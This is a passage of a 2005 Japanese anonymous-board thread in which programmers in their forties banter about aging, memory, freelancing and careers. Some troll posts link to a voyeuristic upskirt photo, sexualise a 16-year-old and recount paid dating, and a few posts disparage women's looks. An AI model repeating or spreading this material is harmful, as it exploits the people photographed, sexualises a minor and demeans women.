144 ：仕様書無しさん：2005/06/16(木) 00:02:34

それを言うならそもそも俺はなんのために産まれてきたんだろう。

145 ：仕様書無しさん：2005/06/16(木) 00:34:41

この世をあなたの糞コードで埋め尽くすためです。

146 ：仕様書無しさん：2005/06/16(木) 11:16:56

埋め尽くせたとしたら、それはそれで幸せだと思うが
実際には埋めるどころかちょっと会社をひとつふたつ
つぶして終わり程度だ

147 ：四十代後半：2005/06/16(木) 12:21:52

>>139
30位のことで戦うのはバカバカしいぞ。4社の社名を晒してみたら？
#・・・それよりも私にはツリに見えるんだけど

148 ：仕様書無しさん：2005/06/16(木) 19:24:27

>>144
それは親に訊きなさい。
きっと、「え？いやー、やったら出来ちゃって。」と
答えてくれるでしょう。

149 ：仕様書無しさん：2005/06/16(木) 23:50:15

とりあえずこの人生、ＳＷの完結編みればもういいや。

150 ：仕様書無しさん：2005/06/17(金) 00:25:45

ええい、貴様ら本当に４０代か！

151 ：仕様書無しさん：2005/06/17(金) 02:23:51

泥沼プロジェクトのリーダーが消えたとかで突如代わりのリーダーと
して途中参入、何もわからないからユーザーの怒りを全て受け止め
人間サンドバッグとなるのであった。

年をとるとこんなのばっか。

152 ：仕様書無しさん：2005/06/17(金) 02:38:27

>149

おお同士よ。

153 ：仕様書無しさん：2005/06/17(金) 02:58:14

>>151
>泥沼プロジェクトのリーダーが消えたとかで

こえーフレーズだ。

154 ：仕様書無しさん：2005/06/17(金) 03:38:57

「おかゆさん」というのも聞いた。
やっぱヘン

155 ：仕様書無しさん：2005/06/17(金) 07:06:24

みなさんに、お聞きしたい・・・
月、どれくらいのステップ数？
月、何本仕上げる？
JCLの知識はどれくらい？
チームリーダーしているひといる？

156 ：仕様書無しさん：2005/06/17(金) 18:49:28

JCLて・・・懐かしいな、おい。

157 ：仕様書無しさん：2005/06/17(金) 19:26:55

帳簿、帳簿、帳簿が大変だ♪

158 ：仕様書無しさん：2005/06/17(金) 20:30:27

ﾁｮﾝﾎﾞ、ﾁｮﾝﾎﾞ、ﾁｮﾝﾎﾞは大変だ！

159 ：仕様書無しさん：2005/06/17(金) 20:47:25

＋童貞だったら魔神な

160 ：仕様書無しさん：2005/06/18(土) 03:51:05

>>151
俺もそんなのばっかりだよ。
逃げてった他人のミスで、ユーザから怒鳴り散らされて、
あほらしーてとてもやってられんわ。
どうみても無理なスケジュールが第一の原因だろーが。
下流やって、他人事の世界でいるのが一番。

161 ：木村佳乃：2005/06/18(土) 11:50:18

だーれ私のマネしてるのは？

162 ：仕様書無しさん：2005/06/18(土) 13:21:16

やっぱ妖精だろ。

163 ：隊員：2005/06/20(月) 17:13:10

JCL・・・・・JOB　CONTROL　LAUNGUAGEではなく、

JCL・・・・・Java　Class　Libraryと読み替えてみる。

164 ：仕様書無しさん：2005/06/20(月) 18:08:25

隊長！
languageのスペルを正しく書けない隊員、約一名発見しました！

165 ：仕様書無しさん：2005/06/21(火) 21:18:14

いよいよ、山谷の立ちんぼでつ。orz,,,,,,,,

166 ：仕様書無しさん：2005/06/23(木) 14:13:52

最近、うんちを食べる癖をつけてしまいました・・・

167 ：仕様書無しさん：2005/06/24(金) 20:46:20

４０代でプログラマがダメ、なんて言ってる連中は６０代になったとき
なんて言ってるんだろう。

168 ：仕様書無しさん：2005/06/24(金) 21:39:52

>>167 「俺の人生がパッとしないのは世の中のせい」とでもいうのでわ？
ガードしたの立ち飲み屋でくだまくオヤジの仲間入りだな。

169 ：仕様書無しさん：2005/06/24(金) 21:45:02

くだまく

検索結果に該当するものが見当たりません。

キーワードを変更して再度検索をしてみてください。

170 ：仕様書無しさん：2005/06/24(金) 21:45:36

いうのでわ

検索結果に該当するものが見当たりません。

キーワードを変更して再度検索をしてみてください

171 ：仕様書無しさん：2005/06/24(金) 21:53:59

管を巻くも知らないポログマラーがいるのはこのスレですか?

172 ：仕様書無しさん：2005/06/24(金) 22:04:26

>169-170
くだまくの検索結果約 351 件
http://www.google.co.jp/search?sourceid=navclient&ie=UTF-8&rls=GGLD,GGLD:2003-40,GGLD:en&q=%E3%81%8F%E3%81%A0%E3%81%BE%E3%81%8F

いうのでわの検索結果約 71 件
http://www.google.co.jp/search?hl=ja&rls=GGLD%2CGGLD%3A2003-40%2CGGLD%3Aen&biw=971&q=%E3%81%84%E3%81%86%E3%81%AE%E3%81%A7%E3%82%8F&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

173 ：隊員：2005/06/24(金) 23:14:26

今日の仕事はつらかった。後は焼酎をあおるだけ［岡林　信康］
と歌詞を書いて、まんまとlanguageが書けなかった件をスルーした後、「もう昔みたいに、あんな大変な事しなくても、年収は倍、仕事は１／４やってればいい現実にウハウハ」
金が多くもらえることなんかより、団塊がリタイアした後が楽しみでしょうがない。

174 ：仕様書無しさん：2005/06/24(金) 23:25:43

団塊の後の祭りの増税

175 ：仕様書無しさん：2005/06/25(土) 03:16:02

なんも仕事しなくても金がもらえところがあるんだな、これが。
こればかりは、ネ申にならないとわからない。

176 ：仕様書無しさん：2005/06/25(土) 22:20:04

>>175
特許料？

177 ：仕様書無しさん：2005/06/26(日) 15:01:00

自分は作詞、作曲、小説家だが、まあり印税もらえんぞ・・・

178 ：仕様書無しさん：2005/06/26(日) 15:01:13

印税あげ

179 ：仕様書無しさん：2005/06/26(日) 15:30:27

>>177
で、もちろん本業はプログラマなんだろうな？

180 ：仕様書無しさん：2005/06/26(日) 16:41:58

とにかく、４０過ぎたら、SEになんぞやるな！！！
おれは無理していまじゃ精神障害者だ！！！

プログラマーをそれも仕様書とテストまで、基本、詳細設計などは
若者にまかせておけ！！！

こつこつやればプログラマほどええ仕事はない！！！(;´Д｀)ﾊｧﾊｧ

181 ：隊員：2005/06/27(月) 10:51:09

本日の仕事完了。
あとは、どう時間をつぶすかだ。(ﾉ´∀｀*)

182 ：仕様書無しさん：2005/06/27(月) 19:17:29

時間を潰すだけっていうのも疲れるなぁーーー。

183 ：仕様書無しさん：2005/06/28(火) 00:30:51

もうすぐ４０になる。
一時はプログラマから足洗って退役しようかと思った。
しかし、今ネットワークプログラミングに精を出している自分が居る。
勢いのある若い奴を見かけると、凄いのが出てきたなァと思う反面、
大半の奴らはヘボヘボ・・・俺の足元にも及ばない。
まだまだやれそう。
そんな気になってきた。

184 ：仕様書無しさん：2005/06/28(火) 00:38:01

ほいじゃ、Ｃ言語でできたソケットライブラリをＪａｖａに移植している○○○君に
教えてやってくれよ、そんなクラス設計じゃ駄目だということをさ。

185 ：仕様書無しさん：2005/06/28(火) 01:35:04

SE・PGって長くやっていけるんですね。

186 ：仕様書無しさん：2005/06/28(火) 08:39:16

>>185
そうだとも。死ぬまでな。

187 ：仕様書無しさん：2005/06/28(火) 10:17:42

人間は死ぬまで生きる

188 ：仕様書無しさん：2005/06/28(火) 10:32:18

私、４２歳。
死ぬまでプログラマーやるだろうけど、先は「長く」はない気がする。

189 ：隊員：2005/06/28(火) 10:52:09

>>188
オレも４２だよ。
この仕事は、頭をいかに休めるかって事になってくると思ってる。

結局、技術職なんで、「めしの種」はいくらでもあると思うし．．．

190 ：仕様書無しさん：2005/06/28(火) 16:03:19

>>189
そうだね。今さら人を使う方に回るのもかったりーしな。

191 ：隊員：2005/06/29(水) 11:25:47

>>190

人って、自分の思ったとおりに動いてくれることなんて、まず、無いじゃん。

オレもいろんなポジションで仕事したけど、フリーになって、考え方がらっと変わってさ。

最近、何も考えてないよ。

192 ：仕様書無しさん：2005/06/29(水) 13:08:56

>>191
思い通りに動かないことを楽しめるぐらいの器量がないと管理職なんて無理。
おまえは一生、土方やってろ　ワラ

193 ：隊員：2005/06/29(水) 16:17:42

>>192

どしたの？

はー、ドカチンは昔さんざやったので、今はやらないです。

オレが言いたかったのは、「器量だけじゃプロジェクトはまわらない」って事なんだが．．．

このスレ、叩きスレじゃないと思うので、このぐらいにしませんか？

194 ：仕様書無しさん：2005/06/29(水) 17:08:13

>>193
で、結果的にはフリーになってよかったと思ってるのですか？

195 ：隊員：2005/06/29(水) 17:42:36

>>194
フリーになって２年ぐらいは、「何か微妙な違和感」があって、戸惑ったけど、今はよかったと思ってるよ。

結構、来る仕事がいろいろあって、プロ真似からプロ鞍馬までいろいろあるんだけど．．．

早い話、「自分がアヤシーと感じたプロジェクトは、はじめに断れる」メリットが大きいね。

オレは、朝普通に会社行って、適度に仕事して、普通に家に帰って、土日は休むスタイルだから。

196 ：仕様書無しさん：2005/06/29(水) 18:06:26

40代、PG、フリー、童貞。これに禿げがつくと役満だな。

197 ：仕様書無しさん：2005/06/29(水) 19:07:28

おしいな、禿げはない。

198 ：仕様書無しさん：2005/06/29(水) 19:39:13

惜しいな妻子持ちだ

199 ：仕様書無しさん：2005/06/30(木) 01:21:56

>196 禿藁！

200 ：仕様書無しさん：2005/07/01(金) 10:35:01

２００

201 ：仕様書無しさん：2005/07/01(金) 14:41:38

役満ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

202 ：仕様書無しさん：2005/07/02(土) 00:44:49

リーチ！

203 ：仕様書無しさん：2005/07/02(土) 00:51:15

さらに最近仕事がありませんがダブル役満でしょうか('A`)

204 ：仕様書無しさん：2005/07/02(土) 16:12:21

40代、PG、フリー、妻子持ち、仕事無し、賃貸暮らし　なんですが、数え役萬でしょうか・・・。
二倍萬って言うな！

205 ：仕様書無しさん：2005/07/02(土) 19:44:59

1300オール

206 ：仕様書無しさん：2005/07/02(土) 20:19:34

ここのスレを読むと、やはり年齢とともにプログラマの質は
低下してゆく、という厳しい現実を認めざるをえないのだね。

207 ：仕様書無しさん：2005/07/02(土) 21:33:23

余裕がでてきたということだわさ。
別の意味では限界が見えたという。

208 ：仕様書無しさん：2005/07/02(土) 21:49:07

> 別の意味では限界が見えた
三十代後半から老眼が始まって、
「アセンブラで二十何万ステップ」とかいうと
今ではプログラム追う以前に目がツラい。

209 ：仕様書無しさん：2005/07/02(土) 22:44:53

なーに老眼など、必要なものは全部暗記しちゃえば、ズバッと解決！

でも、記憶力の衰えは視力の衰え以上だったとさ。 orz

210 ：209のジサクジエンです：2005/07/02(土) 22:46:24

>>209 ズバッと解決！

さすが４０代...古すぎ。orz

211 ：仕様書無しさん：2005/07/03(日) 01:33:48

能天気なやつらだな

212 ：仕様書無しさん：2005/07/03(日) 16:45:46

歳をとれば記憶力の低下は否めない。
ああ忘れてたというならまだましで、
まったく覚えが無い自分で書いたコードというのがOrz

213 ：仕様書無しさん：2005/07/03(日) 18:17:46

>>212
それ、若いときでもそうだから。
気落ちしないで、おじさん！

214 ：仕様書無しさん：2005/07/03(日) 19:57:41

>まったく覚えが無い自分で書いたコード
この幸せ者め

215 ：仕様書無しさん：2005/07/03(日) 21:05:51

>> なーに老眼など、必要なものは全部暗記しちゃえば、ズバッと解決！
４０代になって、暗記すれば物事が解決できると思っているとは、
おみゃーは、ﾈ申にはほど遠いぜよ。

216 ：仕様書無しさん：2005/07/03(日) 22:03:40

小人さんが書いてくれたコードだわな。

217 ：仕様書無しさん：2005/07/04(月) 11:34:38

小人さん欲しい。。。　はぁはぁ

218 ：隊員：2005/07/04(月) 15:53:25

40代過ぎれば、「暗記力」など、不要になる。

はやい奴は、３０過ぎで気付いてる。

若い奴の暗記力は、「必要なことも不要なことも全部、丸暗記型」．．．２０００だろうが、３０００だろうが覚えるだろう。

ところが、「うまいことやれるようになると」、「出だしは考え方が１つか２つ、それが、２０００だろうが、３０００にも瞬時に結びつけられる。」

219 ：仕様書無しさん：2005/07/04(月) 21:02:24

俺は22で気づいたよ。
おかげで資格ゼロ orz

220 ：隊員：2005/07/05(火) 10:56:43

>>219
オレも無資格、無認可だ

221 ：仕様書無しさん：2005/07/07(木) 11:12:17

年取った人で一行おきにメールとか文章書く人いるよね？
改行多くて見づらいったらありゃしない。
あれってなんか意味あるの？

別に煽りとかじゃなくて真面目に知りたい。

222 ：仕様書無しさん：2005/07/07(木) 11:22:18

>>221
昔は一行おきにソースを書く人が沢山いた。
この癖がメールとかに反映されるか否かはわからないけれど

223 ：221：2005/07/07(木) 11:24:42

ついでに「なぜ一行おき」なのかを書くと
ソースリストへの書きこみ空白の確保であったように思う

224 ：仕様書無しさん：2005/07/07(木) 12:50:07

NECのPC9801のDOS画面だと行間が詰まりすぎて読みづらかった
つー事情もあると思う
DOS/Vの普及と共に廃れていったけど

225 ：仕様書無しさん：2005/07/07(木) 22:54:00

Ｎｉｆｔｙでは、一行おきに書く人が結構いた

226 ：仕様書無しさん：2005/07/08(金) 00:22:06

あの1行空き文化ってどこ発祥なんだろうね。

227 ：仕様書無しさん：2005/07/08(金) 03:06:32

640*400の画面で全角文字を表示させていると、1行あけないと
読みづらかったということはある。
テキストモードなら日電の98はそれでもまだましだたが
EPSONのはorz..

それで、BBSとかの書き込みは1行とばしで書いていた時期が
あったかもしれない。Mac/Winに移行してからはそういうこと
もなくなったけどね。

228 ：仕様書無しさん：2005/07/08(金) 13:04:29

でも５０代になったらさすがにダメでしょ？プログラマ

229 ：仕様書無しさん：2005/07/08(金) 14:30:09

んなこたない。

230 ：仕様書無しさん：2005/07/08(金) 18:57:47

8x8ドットキャラだと行間が1ドットになったりするからな
うちのマイコンは画面が256x192ドットだったのでまだ良かったけど

231 ：仕様書無しさん：2005/07/09(土) 00:52:38

プログラマなんぞ糞な人種になるな！！！

芸術家になれ！！！ばかものが！！！

232 ：仕様書無しさん：2005/07/09(土) 10:51:43

俺の周りには40越えのプログラマーがゴロゴロしています。
業界歴20年とかの古狸ばかりです。
しかもこないだ結婚した人までいます。
娘さんが超可愛いです。
かの人こそ本当の魔人だと思いました。

娘さんの写真は見せてくれるのに、お嫁さんの写真は見せてくれないのが
ほんのちょっぴりだけ不思議で不満で不安です。

233 ：仕様書無しさん：2005/07/09(土) 12:48:40

>>232
人のことより自分のことを心配しな。

234 ：仕様書無しさん：2005/07/10(日) 01:01:01

娘は自慢したいから写真見せるけど
嫁は独占したいから写真も見せないと
ええ話やん

235 ：仕様書無しさん：2005/07/10(日) 01:02:09

なんか俺、今日の書き込み時刻が00:55:55だったり01:01:01だったり
明日パチンコ行くことを決意させるような啓示だ

236 ：仕様書無しさん：2005/07/10(日) 01:36:16

>>235
キリ番にこだわるのも高齢者の特徴ですね。

237 ：仕様書無しさん：2005/07/10(日) 02:08:49

娘は自慢したいから写真見せるけど
嫁は自慢出来ないから写真も見せないと
ええ話かどうかわからへんけど

238 ：仕様書無しさん：2005/07/10(日) 08:08:16

>>228
若いもんがやりたがらない下層の仕事ならＯＫ

239 ：235：2005/07/10(日) 18:49:24

五万円負けたorz

240 ：仕様書無しさん：2005/07/10(日) 20:47:12

負け杉w

241 ：仕様書無しさん：2005/07/11(月) 09:03:55

>>239
ちゃんと勝ってこいや
何寄付してんだよ低脳が

242 ：仕様書無しさん：2005/07/11(月) 09:34:26

>>239
00:55:55
は５万負ける暗示

01:01:01
は
orz → orrr と霊体離脱する程のショック状態の暗示

243 ：仕様書無しさん：2005/07/11(月) 14:54:51

3万負けた時点で、取り返せるかどうかを考えないから
更に2万突っ込む事になる。

…と、自戒を込めて言ってみる。

244 ：仕様書無しさん：2005/07/11(月) 15:03:38

あと２～３０年しか残ってない時間を何に使ってんだオマイラ！

245 ：仕様書無しさん：2005/07/11(月) 15:43:02

厄年でダークサイドに落ちて
還暦で時間がRESETするんじゃないの？

246 ：仕様書無しさん：2005/07/11(月) 16:41:30

もう、限界・・・
精神異常者、破綻者どもの中でやっていくのに限界を感じている・・・
おれはもう辞める！！！
最後に言わせてくれ・・・

プログラマは精神異常者だ！！！
SE？即、病院へ送り込め！！！病院にな！！！

247 ：仕様書無しさん：2005/07/11(月) 18:34:43

引退まであと２年６ヶ月なんだが、なぜか仕事探してる、orz.....
まぁ、想定範囲内だけど。

248 ：仕様書無しさん：2005/07/11(月) 18:38:26

引退の基準は年齢か？

249 ：仕様書無しさん：2005/07/17(日) 18:36:04

４０代プログラマー、辞めれば、ﾈ申。
続ければ、馬鹿。

250 ：仕様書無しさん：2005/07/17(日) 18:42:29

40代のＰＧって老害だよな・・・　なんて投下してみる

251 ：仕様書無しさん：2005/07/17(日) 23:43:30

>>250
貴様は４０代までやらんのか！！！ばかものが！！！

252 ：仕様書無しさん：2005/07/18(月) 10:24:50

おいらは５０が近いけど、
最近はコーディングするとき、なんか形が見えるんだよ。
あとはそれをコードに書き写すだけ。
末端でやってることは時代とともに変わるけど、
形にかかわることはそんなには変わらない。

253 ：仕様書無しさん：2005/07/19(火) 05:55:07

>>252
形、ってどんな形？
幾何学模様とかそういうアレですか。

254 ：仕様書無しさん：2005/07/19(火) 08:21:33

>>252
　おれは２８才ぐらいから、打ち合わせしていると、
　ソースコードが全て頭にドドドーッと浮かんでくる
　ようになった。
　あとはそれを打ち込むだけ。
　おれも５０まであと少しだ。

255 ：仕様書無しさん：2005/07/19(火) 12:15:37

まあ「コードは概念的な構造体を表現したものに過ぎない」と大先輩（ブルックス）も言っているし。
頭の中に浮かぶものの形は人それぞれだろう。
だから>>253の様な質問には巧く答えられる道理が無いような。
#自分も知命まであと少しであることを思い出してしまって鬱

256 ：仕様書無しさん：2005/07/19(火) 13:23:07

全然どう書けばいいか見当もつかない案件も
片っ端から情報を集めて脳にぎゅうぎゅう詰めると
あるとき突然醤油のようにコードが湧いてくるよな。
あれを味わいたくて続けてるようなもんだ

257 ：仕様書無しさん：2005/07/19(火) 14:34:53

実際には実装する段階までにいくつかバリエーションが浮かぶから
その中から大きさ/速度/保守のし易さ等等を天秤にかけて
案件に最適なものを選ぶ

258 ：仕様書無しさん：2005/07/19(火) 21:30:36

それだとまだまだだな。
天秤なんかかける前に一気に浮かぶんだよ。

259 ：仕様書無しさん：2005/07/20(水) 09:18:04

ふ～ん。そんなもんなのか。
だとすると、キミらには是非とも６０代あたりまでは
現役でいてもらわにゃな。

260 ：仕様書無しさん：2005/07/20(水) 10:45:23

脳内コーディングは結構雑になるからなぁ・・・
やっぱコードを書き始める前にきちんと設計するのは大事ですよ。

と、脳内コードのリファクタリングでエライ事になってる俺が来ましたよ。

261 ：仕様書無しさん：2005/07/21(木) 00:07:44

量にもよるが、その場合は０から書き直した方が
良い結果が得られる事が経験上多い。

262 ：仕様書無しさん：2005/07/22(金) 16:40:16

>>254
オレもそうなった
その後，Ｊａｖａ，Ｃ++を始めたころから，脳内で雲のようなプラスティックの箱のようなオブジェクトが動き回るようになった
腕（触手？）が伸びて他の雲とつながったり小さい光の玉が発射（メッセージ）されたり・・・
おれもデムパまであと少しだ

263 ：仕様書無しさん：2005/07/22(金) 23:00:14

１：ゴーストが囁くようになる
２：ゴーストが囁けば、給料なんかどうでもよくなる
３：ゴーストの囁きをもとめて、デスマーチプロジェクトを漁る

デムパへのマイルストーン

264 ：仕様書無しさん：2005/07/23(土) 08:58:24

おれもそーゆー心境になってみてぇーーーーーーーーーーーー

265 ：仕様書無しさん：2005/07/23(土) 12:59:36

４：ゴーストを求め、どんなプロジェクトもデスマーチにしてしまう。

すでに老害。

266 ：仕様書無しさん：2005/07/23(土) 14:00:11

コーディングシートに書かないでプログラミングしてる強者もいるのか？

267 ：仕様書無しさん：2005/07/23(土) 14:19:21

コーディングシートに書いてプログラミングしてる強者もいるのか？

268 ：仕様書無しさん：2005/07/23(土) 16:34:24

コーディングシート使用は反エコロジー

269 ：仕様書無しさん：2005/07/23(土) 18:41:35

今までにコーディングシートというものを見たことが無い俺が来ましたよ

270 ：仕様書無しさん：2005/07/23(土) 23:46:54

コメントは１カラム目にCだ。

271 ：仕様書無しさん：2005/07/24(日) 05:29:39

40から基本情報にチャレンジしてる香具師いるか！！！

272 ：仕様書無しさん：2005/07/24(日) 08:56:30

40代PGはサイテーな香具師が多い。

273 ：仕様書無しさん：2005/07/24(日) 09:48:25

>> 262
　悟り開きおめ
>> 他の雲
ブーチ法（http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/object.html）
で設計してるんでつか？

274 ：仕様書無しさん：2005/07/24(日) 14:44:33

時代は机上デバッグ

275 ：仕様書無しさん：2005/07/24(日) 21:15:57

>>273
㌧

> ブーチ法（http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/object.html）
> で設計してるんでつか？
ってわけじゃない，いつのまにかそうなってた．
UMLは，考えをまとめるときに裏紙に殴り書きする程度．

# UMLツールはどれもめんどくさいな
# 図を作成する間に考えてた事を忘れてしまいそうだ

276 ：仕様書無しさん：2005/07/24(日) 21:46:49

ツールを使うためのツールが必要だ

277 ：仕様書無しさん：2005/07/24(日) 22:05:34

フォティーダプグマーズババミュ！

278 ：仕様書無しさん：2005/07/25(月) 04:42:06

4３歳からプログラマになれますか？COBOLを目指していますが・・・

279 ：ウンコ：2005/07/25(月) 05:51:51

>>278
　それ、真面目に考えてますか？
　マジならマジレスしますけど・・・。

　体力的に、時間的に、能力的に、かなりきついですよ。
　死ぬ気でやるなら可能性もありますけど・・・。

　今まで、ＣＯＢＯＬどのぐらいやってるの？ちょっとはわかる？
　何かプログラム作ったことある？
　今までどういった職業を経験しているの？

　おれは４２才でプログラマを引退したんだ。
　体力的にきついからやめた、といいたいが、
　実は、おれは壊れてしまった、というのが本当のところ。

　今は全く違うことで、ずっとやりたかったことやってる。

280 ：仕様書無しさん：2005/07/25(月) 11:54:50

>>139
>たかが３０マソ払え払えねーの無限ループだ。
>だか、漏れは神（４６才ＰＧ）、とことん戦う。

小額訴訟すればぁ？

>冥土のみやげに偽装請負の倒産を持ってく

相手が３０マソで倒産するのかよ。

281 ：仕様書無しさん：2005/07/25(月) 12:12:23

４０代のプログラマーなんてマジでいるのかよ。
普通リストラされるだろ。

282 ：仕様書無しさん：2005/07/25(月) 12:56:48

>>281
あなたの周囲にいないだけでしょう。４０代のプログラマは沢山いますよ。

でも、普通の給料で普通の仕事するのに４０代を持ってくる必要はないので、
普通のneedsの所にはわざわざ現れてこないことが多いでしょう。
つまり４０代でやっている人は、ある種普通でないことが多いです。
普通っぽい(?)人もいますが。

ちなみに通常に問題となるは、リストラとは逆のことです。
４０代になる頃には管理職に昇格してしまうから４０代プログラマが少ない。
リストラなら、次のプログラマ職を探す(自明)とか、独立するとか、
派遣とか、厳しいながらもプログラマとして先がある。

283 ：仕様書無しさん：2005/07/25(月) 13:21:10

人口の減少で働き手が少なくなってくると、今みたいにＰＧを雑に
扱い続ける会社は立ち行かなくなる。

ていうか、そうなれ。

284 ：今年で40，現役：2005/07/25(月) 13:36:43

>>281
「○代だからリストラ」なんてのは，された奴の言い訳だろ

285 ：仕様書無しさん：2005/07/25(月) 15:09:26

>>284
「○代（なのに求められる働きが出来ないような使えない奴）だからリストラ」

神なら行間を読め（俺は凡人なので無理ｗ）

286 ：仕様書無しさん：2005/07/25(月) 16:53:39

>>今は全く違うことで、ずっとやりたかったことやってる。

それで食えるならいいよ。

287 ：仕様書無しさん：2005/07/25(月) 17:44:07

>>285
だから，カッコの中を省略することが欺瞞だっつってんだよ

288 ：仕様書無しさん：2005/07/25(月) 18:41:11

うちの会社、営業一筋だったのに、
50代にして突如PGに希望異動した人がいる

289 ：(￣- ￣ ) ：2005/07/25(月) 20:11:44

この業界

基地外ばっかり

　　だったのね

　　　　＿（＿＿）＿～◎バタンキュー

290 ：仕様書無しさん：2005/07/25(月) 22:53:10

>> 282

４０代以上の経験が物をいうプログラミングというとロボット、
機器制御や、リアルタイムOSの組み込み、数値計算、音声処理
や画像認識、DSP、コンパイラとか。

291 ：290：2005/07/25(月) 23:02:42

>> 282
281の間違い。

292 ：281：2005/07/26(火) 00:11:56

>>282
確かに周囲にはいねー。つか、いなくなっちまった。
その通り、管理職昇格か、リストラでな。
派遣になったやつもいるが、仕事が無いと聞いてる。

>>287
自信満々だなｗ
企業の論理に足元すくわれんなよ？

>>290
分野はどうあれ、後輩の育成くらいするだろ。

293 ：仕様書無しさん：2005/07/26(火) 01:11:48

>>283
非常に賛成なのだが、中国やインドが・・・。

294 ：仕様書無しさん：2005/07/26(火) 02:56:03

JCLがわからん！！！とくにNECのJCLは糞だ！！！あああ！！！

295 ：仕様書無しさん：2005/07/26(火) 13:22:46

自身の有る無しなんか関係ねぇよ
20代だろうが50代だろうがリストラされるってことは価値がないってことだろ

296 ：仕様書無しさん：2005/07/26(火) 17:08:22

ずっと組み込み畑&UnixのコンソールアプリだけでやってたのでWindowsのプログラム書いたこと無いんだが
今から手を出してなんとかなるもんかな

297 ：仕様書無しさん：2005/07/26(火) 17:16:13

>>295
そう思っている内は素人。

298 ：仕様書無しさん：2005/07/26(火) 19:58:10

>>297
まったくだ。
４０代で安定なんて妄想もいいこと。

299 ：仕様書無しさん：2005/07/26(火) 20:33:10

>>298
誰が安定の話をしている？

300 ：仕様書無しさん：2005/07/26(火) 20:41:16

>297
どーゆーのがプロなの？

301 ：仕様書無しさん：2005/07/26(火) 22:16:18

>>300
>>295 には見えていない事情を勘案出来る香具師。

302 ：仕様書無しさん：2005/07/26(火) 22:17:41

>>300
>>295 には見えていない事情を勘案出来る香具師。

303 ：仕様書無しさん：2005/07/26(火) 23:02:27

おもんない

304 ：仕様書無しさん：2005/07/26(火) 23:04:27

おもんない

305 ：仕様書無しさん：2005/07/26(火) 23:05:38

おもんない

306 ：仕様書無しさん：2005/07/27(水) 13:58:15

そう、おもんない

そこを

307 ：仕様書無しさん：2005/07/27(水) 23:10:20

>>299
そうだな。独走の話だったな。

308 ：仕様書無しさん：2005/07/29(金) 02:17:19

頼む！！！彼女が（１６）、うんちを食べてくれと・・・
どうすればええ・・・

309 ：仕様書無しさん：2005/07/29(金) 02:59:09

「俺のを食べてくれたら考えてもいい」と言え

310 ：仕様書無しさん：2005/07/29(金) 11:46:27

俺は中出しするのは好きだが中出しされるのはいやだ。

311 ：仕様書無しさん：2005/07/29(金) 11:48:57

盗撮！機内でのパン○丸見え画像！　※毛も写ってます。
http://image.blog.livedoor.jp/warata2ki/imgs/4/7/47b20fe3.jpg

312 ：仕様書無しさん：2005/07/29(金) 13:15:51

（*´Д｀*）ﾊｧﾊｧ

313 ：仕様書無しさん：2005/07/29(金) 22:20:19

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

314 ：仕様書無しさん：2005/08/01(月) 20:42:28

素晴らしい・・・パン○

315 ：仕様書無しさん：2005/08/01(月) 21:10:25

毛むくじゃら (ﾟ∀ﾟ)=3

316 ：仕様書無しさん：2005/08/01(月) 22:22:20

４０台で女性でプログラマってどうなんでしょうか。
いつまでたったも精神的に楽になれません。
神（女神）になれたらいいなぁ～

317 ：仕様書無しさん：2005/08/02(火) 00:03:01

女神っちゅうか珍獣だな

318 ：仕様書無しさん：2005/08/02(火) 07:49:00

ンダ

319 ：仕様書無しさん：2005/08/08(月) 17:06:55

>>316
うちでは４０代女性（たぶん。。もしかしたら５０代？）を
忙しいときだけ契約で雇っている。もちろんPGだけ。
基本的に残業はやらないという契約だから、それに見合う量しか
頼まない。とっても気楽そう。責任もないし。
言われたことだけきちっとこなしていればいいからね。
彼女、独身、マンション持ち。ある意味神か。

320 ：隊員：2005/08/10(水) 04:24:03

４０代で、まあまあ美人で、静かにプログラマーやってる人いたけど、何か「訳あり」って感じで印象に残ってる。

ブスとデブは、申し訳ないけど、がんばってくださいとしか言いようがない。

321 ：仕様書無しさん：2005/08/10(水) 05:40:53

かんべんしてください・・・でわ？

322 ：仕様書無しさん：2005/08/10(水) 16:35:45

最近歳のせいか、自分の作った複雑なプログラムが
作成後１ヶ月足らずで理解不能に陥っている
再度理解し直すのにえらい苦労する

もう駄目かも・・・

323 ：仕様書無しさん：2005/08/10(水) 22:09:47

自分でダメと思った時が限界だわな。
案外といけるものだなと思えばもっと先に行ける。

もっとも行ったところで、何にも無いけどね。

324 ：仕様書無しさん：2005/08/11(木) 01:24:07

最近、すぐ眠くなる。それが一番問題。

記憶力は若い頃から悪かったから、あまり気にならない。
最近、かなり限界を感じつつあるのだが、俺より若い奴ら
に俺の代わりをする人材が出てこない。
思った以上に出来るプログラマが育っていないので、
まだまだ俺の活躍の場は残されているようだ・・・

325 ：仕様書無しさん：2005/08/14(日) 11:50:20

俺の場合、もう老眼で細かい字がメガネなしで読めない。

逝って来る。。。。。

326 ：仕様書無しさん：2005/08/14(日) 17:27:30

遠くは見えない。手元も見えない。
見えるのはディスプレイの１０ポイントの文字のみ。

327 ：仕様書無しさん：2005/08/14(日) 18:26:33

だから、うんち食してなにが、悪い！！！

328 ：仕様書無しさん：2005/08/14(日) 23:04:34

>>327
不衛生

329 ：仕様書無しさん：2005/08/17(水) 22:55:23

わ～い。久しぶりに来たらレスがレスが…
珍獣なんだ。そうかもしれない。

330 ：仕様書無しさん：2005/08/25(木) 18:45:25

金融系のPGの依頼がきたが、受けるべきか？

331 ：仕様書無しさん：2005/08/25(木) 19:04:23

ここは占いの館ではございませぬ

332 ：仕様書無しさん：2005/08/31(水) 22:09:05

最低でも３年間は続けるつもりですwww

とにかくつぼに入りますた・・・

傑作なので、リピートします、晒しますwww

>734 名前：名称未設定 Mail：投稿日： 05/08/24(水) 21:37:43 ID： SATpAEj8
>
>おい、今日、円光やるってことで、
>現場へ行ったら、先に、２万円渡すってことで、渡したら、
>ちょっと待ってね、ってことで、そのまま、とんずらされた！！！
>
>てめー！！！くそ女！！！２万円返せ！！！
>
>ばかやろう！！！
>

333 ：隊員：2005/09/16(金) 22:40:50

>>330
野村系はお薦めしない。
電通系なんちゃって金融は８０～／月で「こんなでいいんすか、オレでもいけるっす」

きてみてさわっておじさん系の金融は賢い人多いらしい。ちなみに流通系はドカチンしか生存報告なし。

最終報告

Ｎじゃなければいいってこと。
＝日本の電気株式会社

334 ：仕様書無しさん：2005/09/17(土) 03:47:02

NがナショナルでPがパナソニックだっけ？

335 ：仕様書無しさん：2005/09/17(土) 12:32:06

N 日本一ソフトウェア
P ピンクパイナップル

